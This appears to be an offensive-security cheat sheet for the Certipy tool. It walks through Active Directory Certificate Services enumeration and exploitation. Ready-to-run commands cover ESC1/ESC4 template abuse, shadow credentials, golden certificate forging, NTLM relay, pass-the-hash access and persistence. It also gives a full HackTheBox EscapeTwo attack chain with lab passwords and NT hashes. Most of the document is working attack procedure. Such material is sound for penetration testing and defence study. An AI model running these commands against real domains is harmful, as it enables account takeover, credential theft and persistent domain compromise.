AD ^: Active Directory

Certipy

Certipy ADCS enumeration and ESC exploitation: template abuse, PKINIT, golden certificate, shadow creds.

advanced updated 2026-08-09 Certipy

Certipy

A guide for Active Directory Certificate Services (AD CS) enumeration and exploitation using Certipy.

Note — certipy-ad vs certipy: these are the same tool with identical syntax, not two different programs. certipy-ad is the PyPI package name (the plain certipy name was already taken). Depending on how it was installed the binary on your $PATH may be certipy or certipy-ad (Kali’s apt package ships certipy-ad; pip install certipy-ad usually exposes certipy). Commands below are written as certipy-ad — just drop the -ad if that is what your install exposes. Every flag and subcommand is the same either way. Check with which certipy certipy-ad.

Overview

Certipy is an offensive-security tool for enumerating and exploiting AD CS misconfigurations. It supports detection and exploitation of ESC1-ESC16 vulnerabilities.

Key Capabilities

FunctionDescription
EnumerationIdentify vulnerable certificate templates and CAs
Certificate RequestsRequest certificates with custom attributes
AuthenticationUse certificates for Kerberos auth and NT hash retrieval
Template ManipulationModify certificate templates to create exploitation paths
Shadow CredentialsAdd Key Credential Links for account takeover
Golden CertificatesForge certificates using compromised CA keys

Installation

# Install via pip
pip install certipy-ad --break-system-packages

# Install via apt (Kali Linux)
sudo apt install certipy-ad

# Verify installation
certipy-ad -h

Common Usage Patterns

Enumeration Workflow

# Basic enumeration
certipy-ad find -u 'user@domain.local' -p 'password' -dc-ip 10.10.11.51

# Enumerate vulnerable templates only
certipy-ad find -u 'user@domain.local' -p 'password' -dc-ip 10.10.11.51 -vulnerable -enabled

# Output to specific format
certipy-ad find -u 'user@domain.local' -p 'password' -dc-ip 10.10.11.51 -json -output results

# Using NTLM hash authentication
certipy-ad find -u 'user@domain.local' -hashes ':NTHASH' -dc-ip 10.10.11.51

Certificate Request Workflow

# Request certificate with UPN
certipy-ad req -u 'user@domain.local' -p 'password' -ca 'CA-Name' -template 'TemplateName' -upn 'administrator@domain.local' -dc-ip 10.10.11.51

# Request using hash authentication
certipy-ad req -u 'user@domain.local' -hashes ':NTHASH' -ca 'CA-Name' -template 'TemplateName' -upn 'target@domain.local' -dc-ip 10.10.11.51

# Retrieve previously requested certificate
certipy-ad req -u 'user@domain.local' -p 'password' -ca 'CA-Name' -retrieve 123 -dc-ip 10.10.11.51

Authentication Workflow

# Authenticate using certificate
certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.51

# With PFX password
certipy-ad auth -pfx administrator.pfx -password 'pfxpassword' -dc-ip 10.10.11.51

# Save in kirbi format
certipy-ad auth -pfx administrator.pfx -kirbi -dc-ip 10.10.11.51

# LDAP shell access
certipy-ad auth -pfx administrator.pfx -ldap-shell -dc-ip 10.10.11.51

Command Reference

Global Flags

FlagDescriptionExample
-u, -usernameUsername for authentication-u user@domain.local
-p, -passwordPassword for authentication-p 'Password123'
-hashesNTLM hash (pass-the-hash)-hashes ':NTHASH' or -hashes 'LMHASH:NTHASH'
-kUse Kerberos authentication from ccache-k
-aesAES key for Kerberos auth-aes <hex_key>
-dc-ipDomain controller IP address-dc-ip 10.10.11.51
-dc-hostDomain controller hostname-dc-host dc01.domain.local
-targetTarget machine DNS/IP-target ca.domain.local
-nsNameserver for DNS resolution-ns 8.8.8.8
-timeoutConnection timeout in seconds-timeout 30
-debugEnable debug output-debug

1. find - Enumerate AD CS

Discover certificate templates, CAs, and misconfigurations.

certipy-ad find [options]

Key flags:

FlagDescription
-vulnerableShow only vulnerable templates
-enabledShow only enabled templates
-textOutput as formatted text file
-jsonOutput as JSON
-csvOutput as CSV
-stdoutOutput directly to console
-output <prefix>File prefix for output
-oidsShow Issuance Policies
-hide-adminsSuppress admin permissions
-dc-onlyOnly collect from DC (skip CA queries)
# Find vulnerable templates
certipy-ad find -u ryan@sequel.htb -p 'WqSZAF6CysDQbGb3' -dc-ip 10.10.11.51 -vulnerable -enabled -stdout

# Full enumeration with all outputs
certipy-ad find -u ca_svc@sequel.htb -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' -dc-ip 10.10.11.51 -json -text -output dc01_enum

2. req - Request Certificates

Request and retrieve certificates from AD CS.

certipy-ad req [options]

Key flags:

FlagDescription
-ca <name>Certificate Authority name
-template <name>Certificate template name
-upn <upn>User Principal Name for SAN
-dns <dns>DNS name for SAN
-sid <sid>Object SID for SAN
-subject <dn>Certificate subject DN
-retrieve <id>Retrieve certificate by request ID
-on-behalf-of <user>Request on behalf of another user
-pfx <file>PFX for on-behalf-of or renewal
-renewCreate renewal request
-out <file>Output PFX filename
-webUse Web Enrollment
-dcomUse DCOM Enrollment
# Request certificate with custom UPN (ESC1)
certipy-ad req -u ca_svc@sequel.htb -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' -ca sequel-DC01-CA -template DunderMifflinAuthentication -upn administrator@sequel.htb -dc-ip 10.10.11.51

# Retrieve certificate by request ID
certipy-ad req -u user@domain.local -p 'password' -ca CA-Name -retrieve 42 -dc-ip 10.10.11.51

# Request on behalf of another user (ESC2/ESC3)
certipy-ad req -u user@domain.local -p 'password' -ca CA-Name -template User -on-behalf-of 'domain\administrator' -pfx user.pfx

3. auth - Authenticate with Certificate

Use certificates for authentication and NT hash retrieval.

certipy-ad auth -pfx <cert.pfx> [options]

Key flags:

FlagDescription
-pfx <file>Path to certificate (PFX/P12)
-password <pass>PFX file password
-no-saveDon’t save TGT to file
-no-hashDon’t request NT hash
-printPrint TGT in kirbi format
-kirbiSave as .kirbi instead of ccache
-username <user>Override certificate username
-domain <domain>Override certificate domain
-ldap-shellStart LDAP shell after auth
# Authenticate and retrieve NT hash
certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.51

# With password-protected PFX
certipy-ad auth -pfx admin.pfx -password 'pfxpass' -dc-ip 10.10.11.51

# Start LDAP shell
certipy-ad auth -pfx admin.pfx -ldap-shell -dc-ip 10.10.11.51

4. template - Manage Templates

View and modify certificate template configurations.

certipy-ad template -template <name> [options]

Key flags:

FlagDescription
-template <name>Certificate template name
-save-configuration <file>Save current config to JSON
-write-configuration <file>Apply config from JSON file
-write-default-configurationApply default ESC1 config
-no-saveSkip backup before changes
-forceDon’t prompt for confirmation
# Save template configuration
certipy-ad template -u ca_svc@sequel.htb -hashes ':HASH' -template ESC4Template -save-configuration backup.json -dc-ip 10.10.11.51

# Apply ESC1 configuration (make vulnerable)
certipy-ad template -u ca_svc@sequel.htb -hashes ':HASH' -template DunderMifflinAuthentication -write-default-configuration -dc-ip 10.10.11.51

# Restore from backup
certipy-ad template -u ca_svc@sequel.htb -hashes ':HASH' -template ESC4Template -write-configuration backup.json -no-save -dc-ip 10.10.11.51

5. shadow - Shadow Credentials

Manipulate Key Credential Links for account takeover.

certipy-ad shadow <action> [options]

Actions: auto (add, auth, restore), list, add, remove, clear, info.

FlagDescription
-account <target>Target account
-device-id <guid>Specific device ID
-out <file>Output certificate file
# Automatic shadow credential attack
certipy-ad shadow auto -u user@domain.local -p 'password' -account 'target_user' -dc-ip 10.10.11.51 -dc-host dc01.domain.local

# List Key Credentials
certipy-ad shadow list -u user@domain.local -p 'password' -account 'target_user' -dc-ip 10.10.11.51 -dc-host dc01.domain.local

# Add Key Credential
certipy-ad shadow add -u user@domain.local -p 'password' -account 'target_user' -dc-ip 10.10.11.51 -dc-host dc01.domain.local

Certipy v5 gotcha — shadow auto with -dc-ip but no -dc-host fails with [Errno 113] No route to host even when the IP is correct and /etc/hosts is set. Either pass -dc-host dc01.<domain> (add -ns <DC_IP> to pin DNS) or drop -dc-ip entirely and let Certipy resolve the DC itself:

# Works — no -dc-ip, Certipy resolves the DC via DNS / /etc/hosts
certipy-ad shadow auto -u p.agila@fluffy.htb -p prometheusx-303 -account winrm_svc

Also expand shell variables with double quotes, not single: -u "$USER@fluffy.htb" (single quotes pass the literal string $USER).

6. account - Manage Accounts

Create, read, update, delete AD accounts.

certipy-ad account <action> -user <name> [options]

Actions: create, read, update, delete.

FlagDescription
-user <name>SAM account name
-pass <password>Set password
-dns <hostname>Set DNS hostname
-upn <upn>Set UPN
-spns <spn1,spn2>Set SPNs
# Create machine account
certipy-ad account create -u user@domain.local -p 'password' -user BADPC$ -pass 'MachinePass123' -dc-ip 10.10.11.51

# Update account password
certipy-ad account update -u admin@domain.local -p 'password' -user targetuser -pass 'NewPass123' -dc-ip 10.10.11.51

7. ca - Manage Certificate Authority

Manage CA settings and certificate requests.

certipy-ad ca -ca <name> [options]
FlagDescription
-ca <name>CA name
-list-templatesList enabled templates
-enable-template <name>Enable template on CA
-disable-template <name>Disable template on CA
-issue-request <id>Approve pending request
-deny-request <id>Deny pending request
-add-officer <user>Add certificate officer
# List enabled templates
certipy-ad ca -u user@domain.local -p 'password' -ca CA-Name -list-templates -dc-ip 10.10.11.51

# Approve pending request
certipy-ad ca -u user@domain.local -p 'password' -ca CA-Name -issue-request 42 -dc-ip 10.10.11.51

8. forge - Forge Certificates

Create golden certificates or self-signed certs.

certipy-ad forge [options]
FlagDescription
-ca-pfx <file>CA certificate/key (for golden cert)
-ca-password <pass>CA PFX password
-upn <upn>UPN for certificate
-subject <dn>Certificate subject
-template <file>Clone from template cert
-out <file>Output PFX file
-validity-period <days>Validity in days
# Forge golden certificate
certipy-ad forge -ca-pfx ca.pfx -upn administrator@domain.local -subject 'CN=Administrator,CN=Users,DC=domain,DC=local' -out admin_golden.pfx

9. relay - NTLM Relay

Relay NTLM authentication to AD CS endpoints.

certipy-ad relay -target <proto://host> [options]
FlagDescription
-target <proto://host>Target (http:// or rpc://)
-ca <name>CA name (for RPC)
-template <name>Certificate template
-interface <ip>Listen interface
-port <port>Listen port (default: 445)
-foreverKeep relay server alive
-enum-templatesEnumerate templates via relay

ESC4 Exploitation Workflow

ESC4 occurs when an attacker has write permissions over a certificate template, allowing them to modify it to become vulnerable (typically ESC1).

Prerequisites:

  • Compromised account with write access to a certificate template
  • Membership in groups with template modification rights (e.g. Cert Publishers)
  • Access to Active Directory Certificate Services

Step 1: Enumerate and Identify ESC4

# Find vulnerable templates
certipy-ad find -u ca_svc@sequel.htb -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' -dc-ip 10.10.11.51 -vulnerable -stdout

# Look for output like:
# [!] Vulnerabilities
#     ESC4 : 'SEQUEL.HTB\Cert Publishers' has dangerous permissions

Step 2: Modify Template (Certipy 5.x)

# Apply default ESC1 configuration
certipy-ad template -u ca_svc@sequel.htb \
  -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' \
  -template DunderMifflinAuthentication \
  -write-default-configuration \
  -dc-ip 10.10.11.51

# Confirm changes when prompted

Step 3: Request Certificate with UPN

# Request admin certificate
certipy-ad req -u ca_svc@sequel.htb \
  -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' \
  -ca sequel-DC01-CA \
  -template DunderMifflinAuthentication \
  -upn administrator@sequel.htb \
  -dc-ip 10.10.11.51

# Output: administrator.pfx

Step 4: Authenticate and Extract Hash

# Authenticate with certificate
certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.51

# Output:
# [*] Got hash for 'administrator@sequel.htb': aad3b435b51404eeaad3b435b51404ee:7a8d4e04986afa8ed4060f75e5a0b3ff

Step 5: Use Hash for Access

# WinRM access
evil-winrm -i 10.10.11.51 -u administrator -H 7a8d4e04986afa8ed4060f75e5a0b3ff

# SMB access
smbclient -U administrator%aad3b435b51404eeaad3b435b51404ee:7a8d4e04986afa8ed4060f75e5a0b3ff //10.10.11.51/C$

# psexec
psexec.py -hashes :7a8d4e04986afa8ed4060f75e5a0b3ff administrator@10.10.11.51

Step 6: Restore Template (Clean Up)

# Restore from automatic backup
certipy-ad template -u ca_svc@sequel.htb \
  -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' \
  -template DunderMifflinAuthentication \
  -write-configuration DunderMifflinAuthentication.json \
  -no-save \
  -dc-ip 10.10.11.51

Alternative Method (Certipy 4.x - Legacy)

# Step 1: Modify template (auto-saves backup)
certipy-ad template -u ca_svc -hashes :HASH \
  -dc-ip 10.10.11.51 \
  -template DunderMifflinAuthentication \
  -target dc01.sequel.htb \
  -save-old

# Step 2: Request certificate
certipy-ad req -ca sequel-DC01-CA \
  -u ca_svc -hashes :HASH \
  -dc-ip 10.10.11.51 \
  -template DunderMifflinAuthentication \
  -target dc01.sequel.htb \
  -upn administrator@sequel.htb

# Step 3: Authenticate
certipy-ad auth -pfx administrator.pfx

# Step 4: Restore (backup auto-created)
# Check for DunderMifflinAuthentication.json in current directory

HTB EscapeTwo Context

Exploitation path:

  1. Initial Access: rose creds → SQL admin password → shell as sql_svc
  2. Lateral Movement: find ryan credentials → WinRM access
  3. Privilege Escalation: ryan has WriteOwner on ca_svc account
  4. Account Takeover: use BloodyAD for ownership + permissions
  5. Shadow Credentials: add shadow credential to ca_svc
  6. ESC4 Exploitation: ca_svc in Cert Publishers → modify template → pwn

Key commands:

# Ownership change (using BloodyAD)
bloodyAD -d sequel.htb --host 10.10.11.51 -u ryan -p 'WqSZAF6CysDQbGb3' set owner ca_svc ryan
bloodyAD -d sequel.htb --host 10.10.11.51 -u ryan -p 'WqSZAF6CysDQbGb3' add genericAll ca_svc ryan

# Shadow credential attack (v5: pass -dc-host, or drop -dc-ip — see the shadow section gotcha)
certipy-ad shadow auto -u ryan@sequel.htb -p 'WqSZAF6CysDQbGb3' -account 'ca_svc' -dc-ip 10.10.11.51 -dc-host dc01.sequel.htb

# ESC4 enumeration
certipy-ad find -vulnerable -u ca_svc -hashes :3b181b914e7a9d5508ea1e20bc2b7fce -dc-ip 10.10.11.51 -stdout

# Template modification
certipy-ad template -u ca_svc@sequel.htb -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' -template DunderMifflinAuthentication -write-default-configuration -dc-ip 10.10.11.51

# Certificate request
certipy-ad req -u ca_svc@sequel.htb -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' -ca sequel-DC01-CA -template DunderMifflinAuthentication -upn administrator@sequel.htb -dc-ip 10.10.11.51

# Authentication
certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.51

Post-Exploitation

Using Certificates

# Pass-the-Certificate with evil-winrm
evil-winrm -i DC01 -c admin.crt -k admin.key

# Use ccache for Kerberos auth
export KRB5CCNAME=administrator.ccache
smbclient.py -k -no-pass administrator@dc01.sequel.htb

# Convert PFX to PEM for other tools
openssl pkcs12 -in admin.pfx -nocerts -out admin.key
openssl pkcs12 -in admin.pfx -clcerts -nokeys -out admin.crt

Persistence

# Renew certificate before expiration
certipy-ad req -u admin@domain.local -p 'password' -ca CA-Name -template Template -renew -pfx admin.pfx -dc-ip 10.10.11.51

# Forge golden certificate (requires CA key)
certipy-ad forge -ca-pfx ca.pfx -upn administrator@domain.local -out golden.pfx

Tips & Best Practices

Operational security:

  • Always back up templates before modification.
  • Clean up after testing (restore configurations).
  • Document request IDs for later retrieval.
  • Note certificate validity periods for persistence planning.

Enumeration tips:

  • Start with -vulnerable -enabled for quick wins.
  • Use -json output for parsing with tools like jq.
  • Check group memberships (Cert Publishers is key for ESC4).
  • Enumerate with BloodHound for WriteOwner/GenericAll on service accounts.

Common attack chains:

WriteOwner/GenericAll → Shadow Credentials → Hash → Certificate Request
WriteDACL → Template Modification (ESC4) → Certificate → Domain Admin
ManageCA + ManageCertificates → ESC7 → Certificate → Compromise

Troubleshooting

ErrorSolution
CERTSRV_E_TEMPLATE_DENIEDUser not authorized for template - check enrollment rights
Object SID mismatchStrong Certificate Mapping enabled - use -sid flag
INSUFF_ACCESS_RIGHTSNeed GenericAll/WriteOwner - check permissions
Connection timeoutCheck firewall, verify DC-IP, try -timeout 30

References